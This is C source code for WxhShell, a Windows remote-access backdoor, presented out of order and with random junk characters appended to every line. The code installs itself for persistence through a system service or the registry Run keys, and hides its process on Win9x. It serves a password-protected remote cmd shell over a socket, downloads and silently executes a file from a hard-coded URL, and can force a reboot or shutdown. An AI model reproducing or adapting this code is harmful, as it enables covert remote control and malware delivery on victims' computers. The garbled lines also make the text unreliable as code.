    else { h}>"j%I  
    closesocket(wsh); HCIU!4rH  
    ExitThread(0); _mj,u64  
    } Yz'K]M_Dq  
    break; y8d]9sX{  
    } [meO[otb  
  // 获取shell ;o 6lf_  
  case 's': { #oS<E1  
    CmdShell(wsh); ;(b9#b.  
    closesocket(wsh); U#0Q)  
    ExitThread(0); 46}g7skD  
    break; .O DU  
  } y;4OY  
  // 退出 _F4Ii-6  
  case 'x': { Wjo[ENHM  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); vt/x ,Y  
    CloseIt(wsh); cb@?}(aFl  
    break; C1V|0h u  
    } 6`&a&%,O  
  // 离开 ML}J\7R  
  case 'q': { ;"xfOzQ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \Q {m9fE  
    closesocket(wsh); _jvxc'6  
    WSACleanup(); [xK3F+  
    exit(1); B+$%*%b  
    break; !`M,XSp(  
        } 3#W T.4k  
  } h! M  
  } %Si6]3-^@  
To\QjP-  
  // 提示信息 FXpJqlhNv  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); TCMCK_SQL  
} +Te\H  
  } TeMHm ?1^  
b}2ED9HG\  
  return; mbKZJ{|4s  
} kq?Ms|h  
nxO"ua  
// shell模块句柄 ^NLmgw Q  
int CmdShell(SOCKET sock) 9d>-MX'  
{ ]N/=Dd+|  
STARTUPINFO si; -5)H<dAQZ  
ZeroMemory(&si,sizeof(si)); %{7|1>8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >d(~# Z`  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; EW}Bzh>b  
PROCESS_INFORMATION ProcessInfo; ##q2mm:a9P  
char cmdline[]="cmd"; q?Cnav`DY  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 'g">LQ~a+  
  return 0; ):P?  
} # ncRb  
l.(v^3:X  
// 自身启动模式 *o]L|Vu  
int StartFromService(void) > ;jZa  
{ 3(``#7  
typedef struct `b?R#:G  
{ Av$]|b  
  DWORD ExitStatus; Vk` h2BV  
  DWORD PebBaseAddress; mJ<=n?{Z  
  DWORD AffinityMask; Qu"8(Jk/  
  DWORD BasePriority; S\^P ha q  
  ULONG UniqueProcessId; |e=,oV"  
  ULONG InheritedFromUniqueProcessId; \0A3]l  
}   PROCESS_BASIC_INFORMATION; u/UrAqw  
@Rg/~\K  
PROCNTQSIP NtQueryInformationProcess;  50"pbzW  
dSLU>E3g  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;Y)w@bNt@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; bAdn &   
ov|d^)'  
  HANDLE             hProcess; {5A2&  
  PROCESS_BASIC_INFORMATION pbi; J.3u^~zy  
<3L5"77G 6  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); yyR0]NzYUD  
  if(NULL == hInst ) return 0; pk>^?MO  
IWk4&yHUAu  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6 [k\@&V-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \h+AXs<j  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 87=&^.~`  
H!c@klD  
  if (!NtQueryInformationProcess) return 0; t1]K<>g  
%J#YM'g  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); G3C~x.(f  
  if(!hProcess) return 0; "RedK '7g  
/9 3M*b  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;:iY)}  
8bxfj<O,  
  CloseHandle(hProcess); O8^A5,2@3>  
,yC-+VL  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #OZ>V3k  
if(hProcess==NULL) return 0; f}6s Q5  
rDl*d`He!  
HMODULE hMod; tE.FrZS  
char procName[255]; W,D4.w$@'  
unsigned long cbNeeded; !H#bJTXB  
9X[kEl  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); z Eq GD2"  
57aXQ8u{  
  CloseHandle(hProcess); 8."]//V  
Q[Z8ok  
if(strstr(procName,"services")) return 1; // 以服务启动 +\x,HsUc"  
[2>yYr s_=  
  return 0; // 注册表启动 U] ~$g}!)  
} 4Xgg%@C  
>1s* at/h  
// 主模块 >/{@C  
int StartWxhshell(LPSTR lpCmdLine) 9K.Vb1&  
{ 1Vsz4P"O $  
  SOCKET wsl; A_V]yP  
BOOL val=TRUE; ]E7F /O/.  
  int port=0; 3^IpE];+:u  
  struct sockaddr_in door; Gq+z/Be  
f W!a|?e$  
  if(wscfg.ws_autoins) Install(); !]42^?GH  
2iHUZzz\  
port=atoi(lpCmdLine); !NIhx109q  
@X%C>iYa9  
if(port<=0) port=wscfg.ws_port; ]Gzm^6v  
D!@Ciw  
  WSADATA data; Yf:IKY  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5c9^-|-T  
^"2i   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~Uu4=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); e%@'5k\SK  
  door.sin_family = AF_INET; 0\H\lKcK  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |<HPn4 ,X  
  door.sin_port = htons(port); wYd b*"R  
QFE:tBHe  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6O|@xvg  
closesocket(wsl); oOnop-z7  
return 1; .RE:;<|w  
} 2^Eg9y'  
fA&k`L(y  
  if(listen(wsl,2) == INVALID_SOCKET) { k@\ iGqo  
closesocket(wsl); VX].3=T8  
return 1; >i_ 2OV  
} j@=%_^:i  
  Wxhshell(wsl); R}'bP  
  WSACleanup();  R(!s  
UXeN8  
return 0; ;"KJ7p  
mkMq  
} yu;+o3WlK  
t!*?dr  
// 以NT服务方式启动 kv]~'Srk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Z"Zmo>cV4  
{ 3Ko/{f  
DWORD   status = 0; hM@ HA  
  DWORD   specificError = 0xfffffff; |pm7_[  
pyH:#5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; O&vVv _zh  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?*2CpM&l  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &?W0mW(  
  serviceStatus.dwWin32ExitCode     = 0; 2I%MAb&1@  
  serviceStatus.dwServiceSpecificExitCode = 0; %;cddLQ\xY  
  serviceStatus.dwCheckPoint       = 0; %.vQU @2A  
  serviceStatus.dwWaitHint       = 0; .nB0 h  
83E7k]7]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); uya.sF0]9B  
  if (hServiceStatusHandle==0) return; ;l4[%xld  
#G .ulX  
status = GetLastError(); 3%l*N&gsg:  
  if (status!=NO_ERROR) ]@dZ{H|  
{ ?b*s. ^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; }]e-{C}  
    serviceStatus.dwCheckPoint       = 0; ? Fi=P#  
    serviceStatus.dwWaitHint       = 0; ]|!OP  
    serviceStatus.dwWin32ExitCode     = status; F{Z~ R  
    serviceStatus.dwServiceSpecificExitCode = specificError; }e!x5g   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); N+++4;  
    return; ! _f9NK  
  } YT8vP~  
5}:-h>  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?u-|>N>  
  serviceStatus.dwCheckPoint       = 0; PbW(%7o(t  
  serviceStatus.dwWaitHint       = 0; =V-A@_^!c  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); a,xycX:U  
} ks"|}9\%<  
S-Wzour,  
// 处理NT服务事件,比如:启动、停止 E;,u2[3  
VOID WINAPI NTServiceHandler(DWORD fdwControl) $g/SWq  
{ .}&` TU  
switch(fdwControl) } uO);k5H  
{ e7@ojOQ%  
case SERVICE_CONTROL_STOP: 0vFD3}~>  
  serviceStatus.dwWin32ExitCode = 0; FQm`~rA~zt  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; E'G4Y-  
  serviceStatus.dwCheckPoint   = 0; N8k00*p65  
  serviceStatus.dwWaitHint     = 0; 6 2'j!"xv  
  { >v:y?A,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5Ec6),+&  
  } {F3xJ[  
  return; p rYs $j  
case SERVICE_CONTROL_PAUSE: oT^{b\XN  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; LISM ngQ.  
  break; JF # # [O  
case SERVICE_CONTROL_CONTINUE: mZk]l5Lc  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,ek_R)&[o  
  break; 4~y(`\0?4  
case SERVICE_CONTROL_INTERROGATE: tro7Di2Q  
  break; ?h.wK  
}; M%Ji0v38  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); G]D+Sl4<7i  
} [f)cL6AeF  
yGWxpzmRS  
// 标准应用程序主函数 bW$J~ynM  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6,)[+Bl  
{ j2ve^F:Q  
~T9/#-e>BF  
// 获取操作系统版本 QFw  +cy  
OsIsNt=GetOsVer(); ozAS[B6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); '{E@*T /<.  
8WtsKOno  
  // 从命令行安装 X<i^qoV  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7{e% u#  
!>v2i"  
  // 下载执行文件 {wO3<9  
if(wscfg.ws_downexe) { L0* nm.1X  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) u\ #"L  
  WinExec(wscfg.ws_filenam,SW_HIDE); a&tSj35*6  
} ]4~lYuI4  
5Y.vJz  
if(!OsIsNt) { V@Rrn <l  
// 如果时win9x,隐藏进程并且设置为注册表启动 E^QlJ8  
HideProc(); #OIcLEn%  
StartWxhshell(lpCmdLine); aEM%R<e  
} s8-<m,*  
else _(Sa4Vb=Q6  
  if(StartFromService()) H GXt  
  // 以服务方式启动 >*]Hq.&8  
  StartServiceCtrlDispatcher(DispatchTable); WP?TX b`5  
else M4zm,>?K  
  // 普通方式启动 Ey_" ~OB  
  StartWxhshell(lpCmdLine); ZYI{i?Te#  
/]=C{)8  
return 0; wp#'nO  
} 9S-Z& 2L  
PUF/#ck  
_&N2'hG=sn  
TcIcS]w%  
=========================================== =4[v 3Qx  
\n{qsf:  
{. 2k6_1[  
<Fi%iA  
@W va tD V  
>=RmGS  
" gg[WlRQK4A  
p<zSJLN  
#include <stdio.h> d{XO/YQw  
#include <string.h> |(pRaiJ  
#include <windows.h> %<E$,w>  
#include <winsock2.h> e<=cdze  
#include <winsvc.h> [onGNq?#  
#include <urlmon.h> lp<g \  
vV[eWd.o6M  
#pragma comment (lib, "Ws2_32.lib") lLp^Gt^}w(  
#pragma comment (lib, "urlmon.lib") q[HTnx  
lL{ 5SH<Q  
#define MAX_USER   100 // 最大客户端连接数  86(I^=  
#define BUF_SOCK   200 // sock buffer 5|l* `J)  
#define KEY_BUFF   255 // 输入 buffer 94+KdHAo^M  
IIg^FZ*]_  
#define REBOOT     0   // 重启 LNrX;{ Z  
#define SHUTDOWN   1   // 关机 ZT,B(#m  
T? tG~  
#define DEF_PORT   5000 // 监听端口 j:k[90  
'`eO\huf  
#define REG_LEN     16   // 注册表键长度 KMU4n-s"o  
#define SVC_LEN     80   // NT服务名长度 I2 j}Am  
@n(Z$)8tR  
// 从dll定义API l7W 6qNB  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Pdt6nzfr  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ZkAU17f  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &GlwC%$S  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); K@#(*."  
CPP` qt%f  
// wxhshell配置信息 nyBJb(5"B  
struct WSCFG { c/zJv*}x ?  
  int ws_port;         // 监听端口 WpF2)R}G=  
  char ws_passstr[REG_LEN]; // 口令 pcYG~pZ9  
  int ws_autoins;       // 安装标记, 1=yes 0=no IkBei&4F`  
  char ws_regname[REG_LEN]; // 注册表键名 Pm lx8@D  
  char ws_svcname[REG_LEN]; // 服务名 nX(+s*Y+w  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 %;e/7`>Ma  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 aCQ?fq  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >Y #t`6,!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 11<Qxu$rL  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #tZ4N7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |55N?=8  
/G5d|P  
}; |_`E1Y}}  
R$[#+X!  
// default Wxhshell configuration i|T)p_y(!a  
struct WSCFG wscfg={DEF_PORT, r.#t63Rb  
    "xuhuanlingzhe", f2^r[kPX"  
    1, wtc!>  
    "Wxhshell", r9 ui|>U"  
    "Wxhshell", 3E>frR\!I  
            "WxhShell Service", !R1.7}O  
    "Wrsky Windows CmdShell Service", h&Efg   
    "Please Input Your Password: ", mH Ic f{RG  
  1, dZi(&s  
  "http://www.wrsky.com/wxhshell.exe", '[ C.|)"  
  "Wxhshell.exe" H2um|6>  
    }; 7Garnd b  
dgA-MQ5{  
// 消息定义模块 m9"n4a|:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; T9]HGB{  
char *msg_ws_prompt="\n\r? for help\n\r#>";  /o[?D  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; wQwQXNG  
char *msg_ws_ext="\n\rExit."; 6`v7c!7  
char *msg_ws_end="\n\rQuit."; \RvvHty-V  
char *msg_ws_boot="\n\rReboot..."; jFA{+Yr1  
char *msg_ws_poff="\n\rShutdown..."; 7N:Y?Hi\  
char *msg_ws_down="\n\rSave to "; po$ /7  
O [i#9)  
char *msg_ws_err="\n\rErr!"; JMH8MH*  
char *msg_ws_ok="\n\rOK!"; TiYnc3Bz}J  
7b<je=G6PA  
char ExeFile[MAX_PATH]; ai nG6Y<O`  
int nUser = 0; =|I>G?g-  
HANDLE handles[MAX_USER]; |lJX 3  
int OsIsNt; \>C YC|  
@6mBqcE'?  
SERVICE_STATUS       serviceStatus; 'Y56+P\u  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; q|Qk2M  
qe!fk?T}  
// 函数声明 =Qgt${|  
int Install(void); h"_~7 jq"  
int Uninstall(void); AwslWkd=  
int DownloadFile(char *sURL, SOCKET wsh); \/1<E?Q f  
int Boot(int flag); Td G!&:>  
void HideProc(void); /c2w/+ _  
int GetOsVer(void); d4nH_?  
int Wxhshell(SOCKET wsl); L ]w/P|  
void TalkWithClient(void *cs); GDD '[;  
int CmdShell(SOCKET sock); .h9l7 nZt  
int StartFromService(void); ")V130<  
int StartWxhshell(LPSTR lpCmdLine); b|+wc6   
2Z3('?\z~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); U2`'qsR1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Q5FM8Q  
# m[|2R  
// 数据结构和表定义 gFHT G  
SERVICE_TABLE_ENTRY DispatchTable[] = ,4ei2`wV  
{ sO.`x*  
{wscfg.ws_svcname, NTServiceMain}, L2, 1Kt7  
{NULL, NULL} z .Y$7bf)  
}; d)pV;6%[$q  
QF&W`c  
// 自我安装 r=6v`)Qr  
int Install(void) /)dFK~  
{ f|R"u W +  
  char svExeFile[MAX_PATH]; u%/goxA  
  HKEY key; #*TEq  
  strcpy(svExeFile,ExeFile); `;>= '"O!\  
s 1e:v+B]  
// 如果是win9x系统,修改注册表设为自启动 RLSc+kDH_  
if(!OsIsNt) { BRk0CLr5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !OT-b>*w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :dLAs@z  
  RegCloseKey(key); cIp D~0\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /r-aPJX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $ZNu+tn Y  
  RegCloseKey(key); $dA-2e1 0  
  return 0; i:u1s"3~  
    } Rr!Y3)f;  
  } 7^Ns&Q  
} v{9t]s>B  
else { X`fn8~5  
C&6IU8l\  
// 如果是NT以上系统,安装为系统服务 XK: 9r{r{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); M?[h0{^K  
if (schSCManager!=0) ^b7GH9<&  
{ rtL}W__  
  SC_HANDLE schService = CreateService .N*Pl(<[  
  ( VMCLHpSfW  
  schSCManager, ({NAMc*  
  wscfg.ws_svcname, k iRa+w:  
  wscfg.ws_svcdisp, CYKr\DA  
  SERVICE_ALL_ACCESS, jiYmb8Q4D  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ZKXo-~=>  
  SERVICE_AUTO_START, !>>f(t4  
  SERVICE_ERROR_NORMAL, .VkbYK  
  svExeFile, Dgx8\~(E'  
  NULL, J]q%gcM  
  NULL, 8,atX+tc  
  NULL, r" K':O6y  
  NULL, lRv eHB&V  
  NULL g7&9"  
  ); E=cwq"  
  if (schService!=0) ;s~X  
  {  :<Fe  
  CloseServiceHandle(schService); =L C:SFzF  
  CloseServiceHandle(schSCManager); 5* 0y7K/D  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); XEdzpkB  
  strcat(svExeFile,wscfg.ws_svcname); #rY sj-2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { HU9Sl*/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4[BG#  
  RegCloseKey(key); (I@rLvZr{  
  return 0; eQVZO>)P1+  
    } J@OB`2?Zv  
  } H<QT3RF2  
  CloseServiceHandle(schSCManager); J7v|vj I  
} MSV2ip3  
} A.D{.a  
=+x yI  
return 1; |,aG%MTL  
} kFQ8 y~>y}  
EaWS. eK  
// 自我卸载 jZ%TJ0(H  
int Uninstall(void) \tRG1&{$%  
{ e#B#B  
  HKEY key; rvyr xw%[  
qVdwfT{1J  
if(!OsIsNt) { B}eA\O4}I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UK{irU|\  
  RegDeleteValue(key,wscfg.ws_regname); F {B\kq8  
  RegCloseKey(key); +z9gbcx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7#~+@'Oe  
  RegDeleteValue(key,wscfg.ws_regname); l9Q(xuhv  
  RegCloseKey(key); j+^oz'q  
  return 0; N |1>ooU[  
  } OKHX)"j\\  
} ^::EikpF%  
} P1zdK0TM  
else { ?\#N9 +{W  
<BW[1h1k5_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ncSFj.}w]  
if (schSCManager!=0) u-1;'a  
{ ^{\<N()R  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (708H_  
  if (schService!=0) >5wx+n)/)  
  { fi+R2p~vs  
  if(DeleteService(schService)!=0) { ~h"/Tce  
  CloseServiceHandle(schService); 8`b`QtGf  
  CloseServiceHandle(schSCManager); IQ!\w-  
  return 0; gaf$uT2  
  } @A+RVg*=  
  CloseServiceHandle(schService); ex<O]kPFE  
  } suH&jE$x  
  CloseServiceHandle(schSCManager); Nk[2nyeO>  
} \@>b;4Fb+N  
} 87WBM;$&s  
m{7^EF  
return 1; yi^b)2G  
} 'SYo_!  
[|~2X>  
// 从指定url下载文件 9z I.pv+]  
int DownloadFile(char *sURL, SOCKET wsh) `y+-H|%?  
{ WO6/X/#8b  
  HRESULT hr; Lw'9  
char seps[]= "/"; bT6sb#"W  
char *token; n$aA)"A #  
char *file; J>^\oAgpE  
char myURL[MAX_PATH]; |e a~'N1  
char myFILE[MAX_PATH]; g}f9dB,F  
{ls+d x/  
strcpy(myURL,sURL); {}o>{&X  
  token=strtok(myURL,seps); W[[bV  
  while(token!=NULL) Fxc)}i`   
  { dDDGM:]  
    file=token; kF;5L)o  
  token=strtok(NULL,seps); hfcIvs/!  
  } lc6i KFyG  
h8 G5GRD  
GetCurrentDirectory(MAX_PATH,myFILE); u4"SH(  
strcat(myFILE, "\\"); Uu7dSU  
strcat(myFILE, file); AkU<g  
  send(wsh,myFILE,strlen(myFILE),0); ?%O3Oi Xz  
send(wsh,"...",3,0); j$da8] !  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); QR">.k4QJ  
  if(hr==S_OK) y{9~&r  
return 0; [0OJdY4  
else 6r"u$i` o  
return 1; lZ&]|*>  
AOp/d(vx5i  
} 0e[d=)XG  
\#'TNmS  
// 系统电源模块 FA90`VOWYU  
int Boot(int flag) ]0B|V2D#e  
{ #&8}<8V  
  HANDLE hToken; L0%hnA@  
  TOKEN_PRIVILEGES tkp; 39 Y(!q  
@>x pYV  
  if(OsIsNt) { mfny4R1_  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -;;Z 'NM;8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 65,(4Udz!  
    tkp.PrivilegeCount = 1; J wmT /  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )U:2z-X&e  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]ALc;lb-}  
if(flag==REBOOT) { rs=q! P"u[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) QHBtWQgS  
  return 0; 7{oe ->r  
} YYg)  
else { ~Cc.cce5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) T88Y qI  
  return 0; QIB>rQCceo  
} IgL_5A  
  } xKOq[d/8  
  else { CY?G*nS?iK  
if(flag==REBOOT) { zHfP+(ah  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) v=I|O%  
  return 0; R)Mt(gFZT_  
} Xl |1YX1&m  
else { ExHAY|UA  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) XH7xT@  
  return 0; BsZ{|,oQnZ  
} ;oH ,~|K  
} 9H]_4?aX  
D~K;~nI  
return 1; Ap\AP{S4  
} rAQF9O[  
,%#   
// win9x进程隐藏模块 ,}D}oo*  
void HideProc(void) Uf*EJ1Ei  
{ n,M)oo1G  
^4v*W;Q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); T_<BVM  
  if ( hKernel != NULL ) c:M$m3Cs?  
  { 02JL*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); vOI[Z0Lq9h  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -m 5}#P89  
    FreeLibrary(hKernel); *B)yy[8j+  
  } ;P?q2jI  
FrTg4  
return; 0m9ZQ O  
} bzmr"/#D3  
_'x8M  
// 获取操作系统版本 R@T6U:1  
int GetOsVer(void) +:jT=V"X  
{ ;SKh   
  OSVERSIONINFO winfo; s]B"qF A  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #6S75{rnW"  
  GetVersionEx(&winfo); o5Rz%k#h  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0>6DSQq~t(  
  return 1; \[wCp*;1}  
  else mZ0J!QYk  
  return 0; pF=g||gS  
} H ;@!?I  
y@ek=fT%4  
// 客户端句柄模块 m)?5}ZwAH  
int Wxhshell(SOCKET wsl) "u' )g&   
{ @fn6<3  
  SOCKET wsh; ek-!b!iI  
  struct sockaddr_in client; T*q"N?/4  
  DWORD myID; !#D=w$@r:  
W,hWOO  
  while(nUser<MAX_USER) vrl[BPI  
{ *8g<R  
  int nSize=sizeof(client); ]Nk!4"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); s'a=_cN  
  if(wsh==INVALID_SOCKET) return 1; q{4|Kpx@  
fJ80tt?r  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %EbiMo ]3B  
if(handles[nUser]==0) :9d\Uj,  
  closesocket(wsh); ZKbDp~  
else V/#v\*JHFc  
  nUser++; \ a-CN>  
  } Fq,N  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ddpl Pzm#  
nf%4sIQ*x  
  return 0; 7$T8&Mh  
} ]gd/}m)1  
^3I'y UsY  
// 关闭 socket /r$&]C:Fi  
void CloseIt(SOCKET wsh) -]"T^w ib  
{ 2 g`[u|  
closesocket(wsh); ~5#)N{GbY  
nUser--; }B!cv{{  
ExitThread(0); M?:\9DDd  
} p%RUHN3G[  
oFg'wAO.  
// 客户端请求句柄 , r+"7$  
void TalkWithClient(void *cs) Etnb3<^[t  
{ ?g  }kb  
c]m! G'L_/  
  SOCKET wsh=(SOCKET)cs; F$6? t.@J  
  char pwd[SVC_LEN]; eO4)|tW  
  char cmd[KEY_BUFF]; Gi$gtLtN h  
char chr[1]; bejGfc  
int i,j; !;}2F-  
|+EKF.K  
  while (nUser < MAX_USER) { L~0& Q  
$iJnxqn  
if(wscfg.ws_passstr) { ,w\ wQn>]K  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %O) Z  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); af>3V(7  
  //ZeroMemory(pwd,KEY_BUFF); #vnT&FN0[  
      i=0; {OxWcK\2@h  
  while(i<SVC_LEN) { gL]'B!dGd  
U )Zt-og  
  // 设置超时 ]tVl{" .{  
  fd_set FdRead; 5Hle-FDn9  
  struct timeval TimeOut; KRk~w]  
  FD_ZERO(&FdRead); X ]s"5ju|t  
  FD_SET(wsh,&FdRead); ,t~sV@ap  
  TimeOut.tv_sec=8; V/H@vKN2  
  TimeOut.tv_usec=0; wc[c N+p  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); T Oy7?;|=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); E%*AXkJ'dZ  
dq 8+m(7k  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~/c5 hyTx  
  pwd=chr[0]; ~zMKVM1Q.,  
  if(chr[0]==0xd || chr[0]==0xa) { @ M[Q$:  
  pwd=0; mU]s7` %<>  
  break; r{"uv=,`  
  } .Vh*Z<9S4  
  i++; 'O "kt T  
    } v>I<|  
FGVb@=TO>  
  // 如果是非法用户,关闭 socket u5E/m  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); X% J%A-k]  
} 2v^lD('  
YC)hX'A\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1o#vhk/ "+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zz3 r<?#5  
[:pl-_.C  
while(1) { DcU C,  
n0FYfqH  
  ZeroMemory(cmd,KEY_BUFF); + U5U.f%  
+u#Sl)F  
      // 自动支持客户端 telnet标准   D=9}|b/  
  j=0; V_M@g;<o  
  while(j<KEY_BUFF) { {,v: GMsm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C9Wojo.  
  cmd[j]=chr[0]; 44Qk;8*  
  if(chr[0]==0xa || chr[0]==0xd) { ? Q:PPqQ  
  cmd[j]=0; "yri[X  
  break; 2fBYT4*P;  
  } s"rg_FoL  
  j++; .\4l'THn,0  
    } Y UZKle  
Qdm(q:w  
  // 下载文件 <,-,?   
  if(strstr(cmd,"http://")) {  7kM4Ei  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Qi|?d7k0  
  if(DownloadFile(cmd,wsh)) Gbx";Y8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  V.fp/jhj  
  else @YNGxg~*g  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #fzw WP  
  } %%x0w^  
  else { f@*>P_t  
u7 ~mn l  
    switch(cmd[0]) { cP('@K=p  
  Wa}"SqYr h  
